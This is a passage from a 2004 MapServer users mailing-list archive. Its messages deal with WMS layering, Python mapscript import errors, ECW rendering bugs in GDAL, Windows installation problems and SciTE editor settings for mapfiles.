This is different from the WMS specification, where the requested extent is always returned, if needed with distortion to fit within the image size. There has been some discussion going on about his "non-square pixel" problem, and I think it is possible now to add an extra MapFile parameter to let MapServer behave in this way. Jan From ter-haseborg at sf-datentechnik.de Thu Jun 24 09:26:07 2004 From: ter-haseborg at sf-datentechnik.de (Frieso ter Haseborg) Date: Thu, 24 Jun 2004 18:26:07 +0200 Subject: [Mapserver-users] How to log requests on remote wms-servers Message-ID: <26FAB31EFF50034782DFE474AB44FE3E029365@nt-sf-exchange.Windows2000> Hi, did so Bug #749. Best regards, Frieso ter Haseborg - Software Development - -- -------------------------------------------------- S&F Datentechnik GmbH&Co.KG Reimersstr. 41b 26789 Leer, Germany > -----Original Message----- > From: Daniel Morissette [mailto:dmorissette at dmsolutions.ca] > Sent: Wednesday, June 23, 2004 6:11 PM > To: Frieso ter Haseborg > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] How to log requests on remote > wms-servers > > > Frieso ter Haseborg wrote: > > > > btw: A way to get the error displayed directly in the > browser is to place another layer provoking an > msDrawMap-error behind the "problem-child". So one failing > layer only gives errors in the apache-log, a second layer > with DrawMap-error raises the error to the browser. Is this > by design (no errors raised on failing http get request), or > am I overlooking something? > > > > Um... that's definitely not by design! You could file a bug > if you can > provide a complete testcase to reproduce. > > -- > ------------------------------------------------------------ > Daniel Morissette dmorissette at dmsolutions.ca > DM Solutions Group http://www.dmsolutions.ca/ > ------------------------------------------------------------ > > From markadams at cuestasys.com Thu Jun 24 10:24:14 2004 From: markadams at cuestasys.com (Mark Adams) Date: Thu, 24 Jun 2004 13:24:14 -0400 Subject: [Mapserver-users] key map image size Message-ID: <001101c45a10$12b64c10$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_0012_01C459EE.8BA4AC10 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Folks, =20 I=92m a little confused about the use of the SIZE keyword in the = REFERENCE object in the map file. It doesn=92t seem to do anything (except cause = an error to be generated if it=92s not set). We=92re finding we have to = hard code the size we want this image to be. Are we missing something? (What we=92d expected is that changing the SIZE would cause the key map to be drawn at that size; but changing this value doesn=92t seem to change the application=92s behaviour at all.) =20 Thanks. =20 ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_0012_01C459EE.8BA4AC10 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Folks,

 

I’m a little confused about the use of the SIZE keyword in the REFERENCE object in the map file. It doesn’t seem = to do anything (except cause an error to be generated if it’s not set). = We’re finding we have to hard code the size we want this image to be. Are we = missing something? (What we’d expected is that changing the SIZE would = cause the key map to be drawn at that size; but changing this value doesn’t = seem to change the application’s behaviour at = all.)

 

Thanks.

 

------------------= ------------

Mark = Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South Service = Road

Burlington, ON = L7L = 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_0012_01C459EE.8BA4AC10-- From kebolton at vassar.edu Thu Jun 24 10:35:10 2004 From: kebolton at vassar.edu (Ken Bolton) Date: Thu, 24 Jun 2004 13:35:10 -0400 Subject: [Mapserver-users] Python Mapscript setup and import Message-ID: Hi MapServer-Users List, I am trying to use a system that relies on python mapscript. I have successfully configured and compiled MapServer 4.2. From there, i go to the mapscript/python/ directory and have run both "sudo python setup.py install" and "sudo python setup_wnone.py install". In either instances, when I invoke the python interpreter and attempt to import mapscript, I get an error. I've googled and searched the list, but can't find anything. Is there something obvious I'm missing? The interpreter session is below. Is there any other info that would be helpful in solving this? cheers, Ken Python 2.3.4 (#2, Jun 19 2004, 18:15:30) [GCC 3.3.4 (Debian)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import mapscript Traceback (most recent call last): File "", line 1, in ? File "/usr/lib/python2.3/site-packages/mapscript.py", line 4, in ? import _mapscript ImportError: /usr/lib/python2.3/site-packages/_mapscript.so: undefined symbol: msSaveImage From sgillies at frii.com Thu Jun 24 11:05:32 2004 From: sgillies at frii.com (Sean Gillies) Date: Thu, 24 Jun 2004 12:05:32 -0600 Subject: [Mapserver-users] Python Mapscript setup and import In-Reply-To: References: Message-ID: <15925764-C609-11D8-B85C-000D9329D732@frii.com> On Jun 24, 2004, at 11:35 AM, Ken Bolton wrote: > Hi MapServer-Users List, > > I am trying to use a system that relies on python mapscript. I have > successfully configured and compiled MapServer 4.2. From there, i go > to the mapscript/python/ directory and have run both "sudo python > setup.py install" and "sudo python setup_wnone.py install". In either > instances, when I invoke the python interpreter and attempt to import > mapscript, I get an error. I've googled and searched the list, but > can't find anything. Is there something obvious I'm missing? The > interpreter session is below. Is there any other info that would be > helpful in solving this? > > cheers, > Ken > > Python 2.3.4 (#2, Jun 19 2004, 18:15:30) > [GCC 3.3.4 (Debian)] on linux2 > Type "help", "copyright", "credits" or "license" for more information. > >>> import mapscript > Traceback (most recent call last): > File "", line 1, in ? > File "/usr/lib/python2.3/site-packages/mapscript.py", line 4, in ? > import _mapscript > ImportError: /usr/lib/python2.3/site-packages/_mapscript.so: undefined > symbol: msSaveImage Don't use setup_wnone.py. Did you run SWIG yourself to generate the mapscript_wrap.c file or are you using the wrapper from the distribution? Also, if you are a IRC user, me and another Python mapscript user are currently on irc.freenode.net #mapserver Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From steve.lime at dnr.state.mn.us Thu Jun 24 11:44:42 2004 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Thu, 24 Jun 2004 13:44:42 -0500 Subject: [Mapserver-users] key map image size Message-ID: Size is there not to change the size of the reference map but to store the size of the reference map. It basically saves the CGI application from having to open the image to get it's size, and the size is needed to turn mouse clicks into map coordinates. It's a candidate for removal at some point. You can change it's values along with the image either using mapscript or via URLs (eg. map_reference_size= 100+100&map_reference_image=foo.png). Steve >>> "Mark Adams" 6/24/2004 12:24:14 PM >>> Folks, I'm a little confused about the use of the SIZE keyword in the REFERENCE object in the map file. It doesn't seem to do anything (except cause an error to be generated if it's not set). We're finding we have to hard code the size we want this image to be. Are we missing something? (What we'd expected is that changing the SIZE would cause the key map to be drawn at that size; but changing this value doesn't seem to change the application's behaviour at all.) Thanks. ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com From bskarger at students.wisc.edu Thu Jun 24 13:22:39 2004 From: bskarger at students.wisc.edu (BONNER S KARGER) Date: Thu, 24 Jun 2004 15:22:39 -0500 Subject: [Mapserver-users] MyGIS support not compiling Message-ID: <1dea44f1deb397.1deb3971dea44f@wiscmail.wisc.edu> Hello all, trying to get version 4.2 going. Was running 4.0 as CGI only, but now we want more functionality, so we opted for 4.2 and we'll run php_mapscript and use data from a MySQL database. However, we're having trouble getting --with-mygis=yes to work. The exact args to ./configure are: echo "running /bin/sh ./configure " '--with-php=/usr/local/src/php-4.3.2' '--with-mygis=yes' '--with-httpd=/usr/local/apache2/bin/httpd' '--with-gd=/usr/local/src/gd-2.0.15' $ac_configure_extra_args " --no-create --no-recursion" >&6 The file my_config seems to be the problem, but we're not sure. When giving it a shot in a .map file, this error occurs: Warning: [MapServer Error]: msMYGISLayerOpen?(): msMYGISLayerOpen? called but unimplemented! mapserver not compiled with MYGIS support) So, what's going on here? Any help would be appreciated. Thank you! Bonner From tjmitchell at riverside.bc.ca Thu Jun 24 13:47:28 2004 From: tjmitchell at riverside.bc.ca (Tyler Mitchell) Date: Thu, 24 Jun 2004 13:47:28 -0700 Subject: [Mapserver-users] Python Mapscript setup and import In-Reply-To: <15925764-C609-11D8-B85C-000D9329D732@frii.com> Message-ID: > > I am trying to use a system that relies on python mapscript. I have > > successfully configured and compiled MapServer 4.2. From there, i go > > to the mapscript/python/ directory and have run both "sudo python > > setup.py install" and "sudo python setup_wnone.py install". In either > > instances, when I invoke the python interpreter and attempt to import > > mapscript, I get an error. I've googled and searched the list, but > > can't find anything. Is there something obvious I'm missing? The > > interpreter session is below. Is there any other info that would be > > helpful in solving this? Ken, did running "python setup.py install" actually do anything productive or did it throw errors? Tyler From eduardo at consultoria.eti.br Thu Jun 24 14:04:31 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 24 Jun 2004 18:04:31 -0300 Subject: [Mapserver-users] How to create a new Scite lexer? Message-ID: <40DB41DF.4050101@consultoria.eti.br> Hi all. I've been using SciTE for the last 5 years to edit text, php, .ini, html, javascript and a lot of others. But the most of my use with SciTE is to edit MapServer MapFiles ( .map files - see info at http://mapserver.gis.umn.edu ) the best lexer I found in SciTE to open mapfiles is "Ruby" lexer. which fits very well with all reserved words and string of a mapfile sintax. this lexer can also take advantage of folding/collapse feature with mapfiles. but, I'd like to know if is possible to set SciTE to automaticaly set the ruby lexer when openning .map files or where I can get more information for creating a lexer for mapfiles using SciTE editor? thanks in advance. -- Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** From datums11 at hotmail.com Thu Jun 24 15:04:59 2004 From: datums11 at hotmail.com (Datums Eleven) Date: Thu, 24 Jun 2004 16:04:59 -0600 Subject: [Mapserver-users] Mapserver Install Win32 problems Message-ID:
I recently downloaded the precompiled version of Mapserver 4.0.2 for Windows and followed the installation instructions exactly.
 
Next, I downloaded the Mapserver Itasca Application Demo and followed the installation instructions that accompanied that file. 
 
When trying on Apache, I get the following error:
----------------------------------
Internal Server Error
 
The server encountered an internal error or misconfiguration and was unable to complete your request. 
 
Please contact your server administrator, whoever@whatever.com and inform them of the time the error occurred, and anything you might have done that may have caused the error.
 
More information about this error may be available in the server error log.
----------------------------------
Here is the Apache error log:
-----------------------------------
[Thu Jun 24 15:52:45 2004] [error] [client 192.168.100.53] Premature end of script headers: mapserv.exe, referer: http://wherever.com/workshop/
-----------------------------------
 
When I try to use IIS instead of Apache, I get the following error:
-----------------------------------
C:\Inetpub\Scripts>HTTP/1.1 502 Gateway Error Server: Microsoft-IIS/5.1 Date: Thu, 24 Jun 2004 22:03:45 GMT Connection: close Content-Length: 186 Content-Type: text/html
CGI Timeout
The specified CGI application exceeded the allowed time for processing. The server has deleted the process.
----------------------------------
 
I made sure the system path is right as described in the MapServer install documentation.
I set all relevant folder permissions to full control for the iusr_cname just to make sure this is not a permissions issue.
appropriately (as far as I know) edited the index.html file for the demo
 
I have tried this with both precompiled versions of Mapserver 4.0.2 available with the same results. 
 
Does anyone know where my misconfiguration most likely lies?  With the webserver, the website code, or the filestructure?
 
Has anyone created more detailed instruction on IIS, Apache, or folder permission configuration for this application?
 
Does anyone reccomend for use with Windows at all!??
 
Thanks in advance everyone,
 
Dats


Watch the online reality show Mixed Messages with a friend and enter to win a trip to NY From ed at topozone.com Thu Jun 24 15:37:22 2004 From: ed at topozone.com (Ed McNierney) Date: Thu, 24 Jun 2004 18:37:22 -0400 Subject: [Mapserver-users] Mapserver Install Win32 problems Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB07E531@ptolemy.topozone.com> Make sure the file zlib.dll is in an accessible location. Many folks put it in either \WinNT\system32 (or equivalent) or in the same directory as mapserv.exe - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu on behalf of Datums Eleven Sent: Thu 6/24/2004 6:04 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver Install Win32 problems I recently downloaded the precompiled version of Mapserver 4.0.2 for Windows and followed the installation instructions exactly. Next, I downloaded the Mapserver Itasca Application Demo and followed the installation instructions that accompanied that file. When trying on Apache, I get the following error: ---------------------------------- Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact your server administrator, whoever at whatever.com and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. ---------------------------------- Here is the Apache error log: ----------------------------------- [Thu Jun 24 15:52:45 2004] [error] [client 192.168.100.53] Premature end of script headers: mapserv.exe, referer: http://wherever.com/workshop/ ----------------------------------- When I try to use IIS instead of Apache, I get the following error: ----------------------------------- C:\Inetpub\Scripts>HTTP/1.1 502 Gateway Error Server: Microsoft-IIS/5.1 Date: Thu, 24 Jun 2004 22:03:45 GMT Connection: close Content-Length: 186 Content-Type: text/html CGI Timeout The specified CGI application exceeded the allowed time for processing. The server has deleted the process. ---------------------------------- I made sure the system path is right as described in the MapServer install documentation. I set all relevant folder permissions to full control for the iusr_cname just to make sure this is not a permissions issue. appropriately (as far as I know) edited the index.html file for the demo I have tried this with both precompiled versions of Mapserver 4.0.2 available with the same results. Does anyone know where my misconfiguration most likely lies? With the webserver, the website code, or the filestructure? Has anyone created more detailed instruction on IIS, Apache, or folder permission configuration for this application? Does anyone reccomend for use with Windows at all!?? Thanks in advance everyone, Dats ________________________________ Watch the online reality show Mixed Messages with a friend and enter to win a trip to NY _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From eduardo at consultoria.eti.br Thu Jun 24 18:23:00 2004 From: eduardo at consultoria.eti.br (Eduardo Patto Kanegae) Date: Thu, 24 Jun 2004 22:23:00 -0300 Subject: [Mapserver-users] is it possible to load many WMS layers? Message-ID: <40DB7E74.7060502@consultoria.eti.br> Hi, I still don't any experience within WMS applications and have some doubts, before trying to use it: 1. following the instructions at WMS How-tos of mapserver docs I made a simple WMS server ( one layer only) and after set up a client mapfile application that connects this WMS server ( powered by mapserver). One thing I got in doubt: at the docs it shows a client sample layer configuration.... LAYER NAME "prov_bound" TYPE RASTER # <<<<===== my great doubt!!!! STATUS ON CONNECTION "http://www2.dmsolutions.ca/cgi-bin/mswms_gmap?" CONNECTIONTYPE WMS METADATA "wms_srs" "EPSG:42304 EPSG:42101 EPSG:4269 EPSG:4326 EPSG:42304" "wms_name" "prov_bound" "wms_server_version" "1.1.0" "wms_formatlist" "image/gif,image/png,image/jpeg,image/wbmp" "wms_format" "image/gif" END END if layer is a RASTER type, could it be possible to load two or more WMS layers in a client application? e.g.: is it possible to set a 'country boundaries' polygon layer and a 'roads' line layer viewed in a single application? does the result map will show the background country layer and the roads layer over the contry layer, OR, the roads ( type RASTER) layer will hide the background one? if this is possible so this is wonderfull, cause it's possible to create an application that reads various layers from different WMS servers, am I correct? 2. and my second doubt is: is it possible to connect an ArcGIS 8.x/9 through any WMS server? best regards . -- Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** From jacob.delfos at maunsell.com Thu Jun 24 18:46:18 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Fri, 25 Jun 2004 11:46:18 +1000 Subject: [Mapserver-users] ECW not showing below certain scale Message-ID: Frank, Sorry, I didn't know this was the appropriate way to report image bugs. I took your suggestion to heart, and it told me something... : ----------------------------------------------------------------------- C:\Documents and Settings\jxd>shp2img -m "c:\web\roe7\roe7.map" -o "c:\temp\test .jpg" -all_debug n -i "JPEG" -e 55300 250255 55400 250356 ERROR 7: Assertion `iDstLine == 0' failed in file `ecwdataset.cpp', line 360 ----------------------------------------------------------------------- I have tried this with both the 4.0 and the 4.2 version of shp2img. The 4.0 version worked flawlessly. The 4.2 version gave me the above error. I think you are right in saying that supersampling is the cause, because that is exactly when it happens. I don't know if shp2img normally gives more error messages, but since it crashes on this command, I couldn't tell. I get a message box with a visual C++ runtime error saying "abnormal program termination". Hopes this helps you work out what is wrong. Regards, Jacob -----Original Message----- From: Frank Warmerdam [mailto:warmerdam at pobox.com] Sent: Thursday, 24 June 2004 9:58 PM To: Delfos, Jacob Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] ECW not showing below certain scale Delfos, Jacob wrote: > Hi All, > > I've been running into a little problem with mapserver 4.2, which I was > also experiencing in Chameleon 1.99; when I zoom in quite far on the map > (holding an ecw image), the map doesn't show up. It keeps trying to > load, but nothing comes, suggesting it got stuck somewhere. CPU activity > is initially at maximum for a few seconds (as normal when loading the > map) but then drops while the map doesn't show (I'm loading the map in > the browser on the server itself). The mapserv process won't allow > itself to get killed either. > > If I simply replace my mapserv.exe file with one of version 4.0, the > problem is gone. Of course the map takes quite a few seconds to show, > which is normal when zooming close on an ECW, but it does show. > > I've tried this quite a few times in different browsers, but the map > never shows at that scale when the ECW is in there. I have tried > different mapfiles with different ECW's as well. Has the mechanism to > display the ECW changed? It seems that as soon as I reach a resolution > where I go beyond the ECW resolution (1pixel:1pixel) it dies. Jacob, I was able to reproduce a problem with ECW supersampling when assertions are turned on in GDAL 1.2.0. I have just issued a GDAL 1.2.1 with this issue fixed, and suggested to Assefa that he upgrade to that as time permits. I am not absolutely positive if that is your problem or not. I suspect you are seeing differences between MapServer 4.0 and 4.2 because MapServer 4.2 tries to use "dataset" level io calls when available. This allows reading red, green and blue in one pass against ECW for instance, resulting in better performance. However, it uses different code paths which may have different issues. So ... if and when new binaries are available with GDAL 1.2.1 I would suggest you try MapServer 4.2 again. In the meantime you could just set an appropriate MINSCALE so the ECW would stop rendering when supersampled, or switch back to the build that works. Finally, I will once again strongly suggest that folks running into problems like this try and reproduce it at the commandline with shp2img and appropriate extent and debug options. This often results in much more meaningful error messages than you get on in a web application. Best regards, -- ---------------------------------------+------------------------------------ -- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From Tom.Kralidis at ec.gc.ca Thu Jun 24 19:59:46 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Thu, 24 Jun 2004 22:59:46 -0400 Subject: [Mapserver-users] is it possible to load many WMS layers? Message-ID: <2576812186CDD411BF1500508B6DCE95073670C9@ecnwri1.ontario.int.ec.gc.ca> > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Eduardo Patto Kanegae > Sent: Thursday, June 24, 2004 9:23 PM > To: mapserver-users at lists.gis.umn.edu > Subject: [Mapserver-users] is it possible to load many WMS layers? > > > Hi, > > I still don't any experience within WMS applications and have some > doubts, before trying to use it: > > 1. following the instructions at WMS How-tos of mapserver > docs I made a > simple WMS server ( one layer only) and after set up a client mapfile > application that connects this WMS server ( powered by > mapserver). One > thing I got in doubt: at the docs it shows a client sample layer > configuration.... > > LAYER > NAME "prov_bound" > TYPE RASTER # <<<<===== my great doubt!!!! > STATUS ON > CONNECTION "http://www2.dmsolutions.ca/cgi-bin/mswms_gmap?" > CONNECTIONTYPE WMS > METADATA > "wms_srs" "EPSG:42304 EPSG:42101 > EPSG:4269 EPSG:4326 EPSG:42304" > "wms_name" "prov_bound" > "wms_server_version" "1.1.0" > "wms_formatlist" > "image/gif,image/png,image/jpeg,image/wbmp" > "wms_format" "image/gif" > END > END > > if layer is a RASTER type, could it be possible to load two > or more WMS > layers in a client application? e.g.: is it possible to set a > 'country > boundaries' polygon layer and a 'roads' line layer viewed in a single > application? does the result map will show the background > country layer > and the roads layer over the contry layer, OR, > the roads ( type RASTER) layer will hide the background one? > if this is possible so this is wonderfull, cause it's > possible to create > an application that reads various layers from different WMS > servers, am > I correct? > Correct. Non-opaque layers (like roads, for example) will not obstruct opaque layers (like a satellite image). "TYPE RASTER" in this context means that what is returned is an image. WMS servers typically offer PNG or GIF, so you can overlay multiple layers with transparency. So the answer is yes, you can load multiple WMS layers from many servers. > 2. and my second doubt is: is it possible to connect an ArcGIS 8.x/9 > through any WMS server? > Do you mean does ArcGIS connect to WMS? I believe ESRI has extensions to do this. CubeWerx also offers WMS extensions for ArcGIS. ..Tom > best regards . > > -- > Eduardo Patto Kanegae > http://www.consultoria.eti.br > UIN: 303747254 > > Treinamento em UMN MapServer - > http://www.consultoria.eti.br/ptbr/?> menuoption=mapserver > I > Encontro Nacional de Usu?rios > MapServer - http://mapserver.cttmar.univali.br/encontro2004 > F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum > > ***Fim da Mensagem / End of Message *** > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > From warmerdam at pobox.com Thu Jun 24 21:34:36 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Fri, 25 Jun 2004 00:34:36 -0400 Subject: [Mapserver-users] ECW not showing below certain scale In-Reply-To: References: Message-ID: <40DBAB5C.60008@pobox.com> Delfos, Jacob wrote: > Frank, > > Sorry, I didn't know this was the appropriate way to report image bugs. > I took your suggestion to heart, and it told me something... : > > ----------------------------------------------------------------------- > C:\Documents and Settings\jxd>shp2img -m "c:\web\roe7\roe7.map" -o > "c:\temp\test > .jpg" -all_debug n -i "JPEG" -e 55300 250255 55400 250356 > ERROR 7: Assertion `iDstLine == 0' failed > in file `ecwdataset.cpp', line 360 > ----------------------------------------------------------------------- > > I have tried this with both the 4.0 and the 4.2 version of shp2img. The 4.0 > version worked flawlessly. The 4.2 version gave me the above error. I think > you are right in saying that supersampling is the cause, because that is > exactly when it happens. I don't know if shp2img normally gives more error > messages, but since it crashes on this command, I couldn't tell. I get a > message box with a visual C++ runtime error saying "abnormal program > termination". > > Hopes this helps you work out what is wrong. Jacob, The good news is that this is the same problem that Amin (?) was running into. I fixed it in the GDAL 1.2.0 release. It was really just an old assertion blowing over something that appears to not really be a problem. It just happens that MapServer 4.2 uses the GDAL API in a more efficient way that triggers the bug. Once a new build is available with GDAL 1.2.0 you should be OK again. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From margottid at comune.lugo.ra.it Thu Jun 24 22:58:25 2004 From: margottid at comune.lugo.ra.it (Daniele Margotti) Date: Fri, 25 Jun 2004 07:58:25 +0200 Subject: R: [Mapserver-users] How to create a new Scite lexer? In-Reply-To: <40DB41DF.4050101@consultoria.eti.br> Message-ID: <000801c45a79$6e094360$041410ac@comune.lugo.ra.it> To set the ruby lexer when openning .map files you can select (in SciTE): "Options" ==> "Open ruby.properties" and then change the first lines from: -------------------------------------------------- filter.ruby=Ruby (rb)|*.rb| lexer.*.rb=ruby file.patterns.rb=*.rb -------------------------------------------------- to: -------------------------------------------------- filter.ruby=Ruby (rb)|*.rb;*.map| lexer.*.rb=ruby lexer.*.map=ruby file.patterns.rb=*.rb;*.map -------------------------------------------------- Daniele -----Messaggio originale----- Da: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] Per conto di Eduardo Patto Kanegae Inviato: gioved? 24 giugno 2004 23.05 A: scite-interest at lyra.org; mapserver-users at lists.gis.umn.edu Oggetto: [Mapserver-users] How to create a new Scite lexer? Hi all. I've been using SciTE for the last 5 years to edit text, php, .ini, html, javascript and a lot of others. But the most of my use with SciTE is to edit MapServer MapFiles ( .map files - see info at http://mapserver.gis.umn.edu ) the best lexer I found in SciTE to open mapfiles is "Ruby" lexer. which fits very well with all reserved words and string of a mapfile sintax. this lexer can also take advantage of folding/collapse feature with mapfiles. but, I'd like to know if is possible to set SciTE to automaticaly set the ruby lexer when openning .map files or where I can get more information for creating a lexer for mapfiles using SciTE editor? thanks in advance. -- Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 Treinamento em UMN MapServer - http://www.consultoria.eti.br/ptbr/?menuoption=mapserver I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 F?rum MapServer Brasil - http://mapserver.cttmar.univali.br/forum ***Fim da Mensagem / End of Message *** _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From gis at gisrs.com Fri Jun 25 07:14:53 2004 From: gis at gisrs.com (Stephen Wallace) Date: Fri, 25 Jun 2004 10:14:53 -0400 Subject: [Mapserver-users] MapServer Hosting Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C45A9D.451E8590 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit To the MapServer Group Does anyone a know of an internet provider offering MapServer hosting. Thanks Stephen Wallace Email gis at gisrs.com Phone 905-627-8786 ------=_NextPart_000_0000_01C45A9D.451E8590 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
To the MapServer = Group
 
Does anyone a know of an internet provider = offering=20 MapServer hosting.
 
Thanks
 
 
Stephen = Wallace
 
Email gis at gisrs.com
Phone = 905-627-8786
 
------=_NextPart_000_0000_01C45A9D.451E8590-- From kebolton at vassar.edu Fri Jun 25 07:40:24 2004 From: kebolton at vassar.edu (Ken Bolton) Date: Fri, 25 Jun 2004 10:40:24 -0400 Subject: [Mapserver-users] Python Mapscript setup and import In-Reply-To: References: Message-ID: <97DAFC62-C6B5-11D8-98E4-000A959EC0FC@vassar.edu> Tyler, I went and removed the built and byte-compiled mapscript.py and mapscript.pyc from site-packages, then ran "python setup.py install" again. Here is the output. Looks normal to me, but I'm no expert. mapserver-4.2.0/mapscript/python$ sudo python setup.py install running install running build running build_py running build_ext running install_lib copying build/lib.linux-i686-2.3/mapscript.py -> /usr/lib/python2.3/site-packages byte-compiling /usr/lib/python2.3/site-packages/mapscript.py to mapscript.pyc I will try to get on IRC, but there was an IRC-based attack originating from my campus in the last few days, so I may need to hop around to get to freenode. Thanks, all, for the help with this. Ken From sgillies at frii.com Fri Jun 25 08:10:34 2004 From: sgillies at frii.com (Sean Gillies) Date: Fri, 25 Jun 2004 09:10:34 -0600 Subject: [Mapserver-users] Python Mapscript setup and import In-Reply-To: <97DAFC62-C6B5-11D8-98E4-000A959EC0FC@vassar.edu> References: <97DAFC62-C6B5-11D8-98E4-000A959EC0FC@vassar.edu> Message-ID: On Jun 25, 2004, at 8:40 AM, Ken Bolton wrote: > Tyler, > > I went and removed the built and byte-compiled mapscript.py and > mapscript.pyc from site-packages, then ran "python setup.py install" > again. Here is the output. Looks normal to me, but I'm no expert. > > mapserver-4.2.0/mapscript/python$ sudo python setup.py install > running install > running build > running build_py > running build_ext > running install_lib > copying build/lib.linux-i686-2.3/mapscript.py -> > /usr/lib/python2.3/site-packages > byte-compiling /usr/lib/python2.3/site-packages/mapscript.py to > mapscript.pyc > > I will try to get on IRC, but there was an IRC-based attack > originating from my campus in the last few days, so I may need to hop > around to get to freenode. Thanks, all, for the help with this. > > Ken > Ken, There should be plenty of mapscript help on IRC today. Afterwards, we can summarize to this list. cheers, Sean From bluebirdyan at sohu.com Fri Jun 25 08:48:30 2004 From: bluebirdyan at sohu.com (Dell Yan) Date: Fri, 25 Jun 2004 23:48:30 +0800 Subject: [Mapserver-users] how to render Image generatored by mapserver with GDI+ Message-ID: I want to develop a MS windows-base GIS desktop solution, I think mapserver is a good choice:),so I want to modify source code of MS to redirect draw action to GDI+ , I don't want draw map image after it has created and save to file system, the problem is: How can I render map image to window with GDI++ ?? one solution is : render the map image that created by GD to window,but I can't know how to do it:( the other solution is : render the shape elments of Geo-objects to window with GD directly,how to do it? yan From lfilak at medinaco.org Fri Jun 25 10:42:02 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Fri, 25 Jun 2004 13:42:02 -0400 Subject: [Mapserver-users] SWIGMapScript Documentation Message-ID: <20040625174131.484BA1A65A6@mail.medinaco.org> The SWIGMapScript Documentation (Perl, Python, Ruby, ?) for 4.2 should be posted soon to the main documentation page. The layout of the main document shows only objects, methods, & members with appendices for specifics of each flavor. Anyone adding examples to the wiki section of the documentation should clearly label which flavor the example is for. To include examples on one of the appendices please send your message to the email address listed on the appendix. Speaking of appendices - is there someone who would like to do the Ruby appendix? Thanks. Lowell From assefa at dmsolutions.ca Fri Jun 25 11:37:19 2004 From: assefa at dmsolutions.ca (Yewondwossen Assefa) Date: Fri, 25 Jun 2004 14:37:19 -0400 Subject: [Mapserver-users] ECW not showing below certain scale In-Reply-To: <40DADDE6.2080009@pobox.com> References: <40DADDE6.2080009@pobox.com> Message-ID: <40DC70DF.4080709@dmsolutions.ca> I have put a new version of mapserver 4.3 (current CVS) build with GDAL 1.2.1 at http://www.maptools.org/php_mapscript/index.phtml?page=downloads.html (llok at the end of the page for the developpment verion). Let me know if it solves the ECW issue. Later, Frank Warmerdam wrote: > Delfos, Jacob wrote: > >> Hi All, >> >> I've been running into a little problem with mapserver 4.2, which I >> was also experiencing in Chameleon 1.99; when I zoom in quite far on >> the map (holding an ecw image), the map doesn't show up. It keeps >> trying to load, but nothing comes, suggesting it got stuck somewhere. >> CPU activity is initially at maximum for a few seconds (as normal when >> loading the map) but then drops while the map doesn't show (I'm >> loading the map in the browser on the server itself). The mapserv >> process won't allow itself to get killed either. >> >> If I simply replace my mapserv.exe file with one of version 4.0, the >> problem is gone. Of course the map takes quite a few seconds to show, >> which is normal when zooming close on an ECW, but it does show. >> >> I've tried this quite a few times in different browsers, but the map >> never shows at that scale when the ECW is in there. I have tried >> different mapfiles with different ECW's as well. Has the 